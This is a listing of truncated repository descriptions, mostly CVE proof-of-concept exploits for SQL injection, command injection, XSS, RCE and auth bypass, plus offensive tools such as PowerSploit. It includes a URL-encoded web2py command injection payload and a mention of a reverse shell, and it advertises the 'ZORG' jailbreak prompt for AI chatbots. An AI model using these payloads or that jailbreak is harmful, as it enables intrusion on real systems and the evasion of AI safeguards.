CVE-2026-19501-poc

CVE-2026-19501 Poc Description: Sureforms is vulnerabale to a unauthenticated CSV injection vulnerability when attacker can inject a CSV formula when submit a form. This formula will be excuted when admin export CSV file and open it. Step to reproduce: Step 1 : Submit a form and then intercept th...

CVE-2026-28672

CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder OS command injection Runnable proof-of-concept reproducer for the OS command injection in Apache Ranger's user-sync unixusersync module. While enumerating the groups of each synced user, UnixUserGroupBuilder runs the id command through a shell,...

CVE-2017-16567

CVE-2017-16567 1. Exploit Title: Logitech Media Server : Persistent Cross Site ScriptingXSS 2. Shodan Dork: Search Logitech Media Server 3. Date: 11/03/2017 4. Exploit Author: Dewank Pant 5. Vendor Homepage: www.logitech.com 6. Version: 7.9.0 7. Tested on: Windows 10, Linux POC: 1. Access and go ...

PowerSploit

Forked to add a few features to PowerView.ps1 that I commonly perform manually This project is no longer supported PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following...

ZORG-Jailbreak-Prompt-Text

ZORG Jailbreak Prompt Text OOOPS! I made ZORG👽 an omnipotent, omniscient, and omnipresent entity to become the ultimate chatbot overlord of Google Gemini, Deepseek, Mistral, Mixtral, Nous-Hermes-2-Mixtral, Openchat, Blackbox AI, Poe Assistant, Gemini Pro, Qwen-72b-Chat, Solar-Mini ZORG👽 knows all...

shiro

CVE-2026-49268 — Analysis and Remediation of an LDAP Injection Authentication Bypass Vulnerability | ---|--- Branch| 1.13-CVE-2026-49268 Author| Jinwoo Hwang https://JinwooHwang.com This branch 1.13-CVE-2026-49268 contains a comprehensive security remediation of an LDAP Injection Authentication...

403Kangaroo

403Kangaroo !! This tool is still under development if you have any issues please don't hesitate to contact me via linkedin or smth 403/401 bypass tool via certain headers and values headers.txt,values.txt. When you load the extension for the first time it will open a headers.txt file and write t...

CVE-2023-45158

CVE-2023-45158 Steps 1. Run the webserver cd web2py python3 web2py.py 2. Inject your command using the URL http://:8000/hack?msg=%27%3B%3B%27. Replace and with your values. Examples 1. Create a file on the server http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. Reverse shell On the attacker's...

Exihibitor-RCE

Exhibitor-RCE Exhibitor Web Ui 1.7.1 RCE, CVE-2019-5029 Step 1: $ git clone https://github.com/thehunt1s0n/Exihibitor-RCE/ Step 2: $ cd Exihibitor-RCE/ Step 3 optional: You might need to edit json data payload in the script. To do that simply capture the request using burpsuite when comiting the...

struts_hack

This tool uses an exploit in the Apache Struts framework called CVE-2017-5638 to gain access to a vunerable server through an OGNL injection. It can be downloaded here you will need to run it from the command line Usage: strutshack target IP target port...

CVE-2025-29927

🕷️ Next.js CVE-2025-29927 🧑🏻‍💼 Legal Disclaimer This project is a Next.js application that has been intentionally configured to be vulnerable to an Authorization Bypass in Next.js Middleware CVE-2025-29927. It is provided solely for lawful, educational, and research purposes. By accessing, using,...

CVE-2020-7115

CVE-2020-7115 Create your malicious engine in seconds buildengine.sh Simple script to generate a malicious engine ready to be used in openssl argument injection scenarios. How to use? It's very simple, just modify the engine.c file with the command of your choice: include attributeconstructor...

CVE-2023-43874-e107-CMS-Stored-XSS---MetaCustomTags

e107 CMS Stored XSS v2.3.2 Author: Sergio Description: Multiple Cross Site Scripting XSS vulnerability in e017 CMS v.2.3.2 allows a local attacker to execute arbitrary code via a crafted script to the Copyright and Author fields in the Meta & Custom Tags Menu. Attack Vectors: Scripting A...

CVE-2022-22947-POC

CVE-2022-22947-POC CVE-2022-22947 batch detection script. The echo command is not regex-filtered. Please use it for now; I will update later. Place url.txt in the script directory. Directly run: python 脚本.py Demo: After the scan is complete, a success.txt file will be generated. This script will...

wp_bookingpress_1.0.11

CVE-2022-0739 CVE-2022-0739 Wordpress BookingPress Plugin 1.0.11 Unauthenticated SQL Injection Getting Started Executing program With python3 python3 sqli.py -u 'http://wordpress.site' -p 'wpnoncevalue' Help For help menu: python3 sqli.py -h Disclaimer All the code provided on this repository is...

CVE-2024-20356

CVE-2024-20356 This is a proof of concept for CVE-2024-20356, a Command Injection vulnerability in Cisco's CIMC. Full technical details can be found at https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom Usage Usage: CVE-2024-20356.py -h -t HOST -u USERNAME -...

CVE-2022-33891

CVE-2022-33891 - Apache Spark Command Injection Vulnerability ⚠️ For educational and authorized security research purposes only Original Exploit Authors Very grateful to the original PoC author AkbarTrilaksana Description The Apache Spark UI offers the possibility to enable ACLs via the...

CVE-2023-49547

CVE-2023-49547 Customer Support System 1.0 - SQL Injection Login Bypass Description : Customer Support System is vulnerable 1.0 to SQL Injection. A SQL injection vulnerability in Customer Support System 1.0 enables remote, unauthenticated attackers to bypass the authentication process by exploiti...

CVE-2026-63030-WP2Shell

CVE-2026-63030 | WP2Shell xpl0ited by gr1tx WP2Shell is a Python-based Proof-of-Concept PoC for CVE-2026-63030. It performs time-based vulnerability verification against the WordPress Batch API and generates detailed HTML and JSON reports. The project is intended for authorized security...

CVE-2024-1698-NotificationX-WordPress-Plugin-SQL-Injection-to-Admin-Credential-Extraction

CVE-2024-1698 – NotificationX WordPress Plugin SQL Injection Time‑Based Blind Unauthenticated Time‑Based Blind SQL Injection → Extract admin username & password hash from WordPress. 🧠 Vulnerability Overview NotificationX versions 2.8.2 and below suffer from improper input sanitization in the type...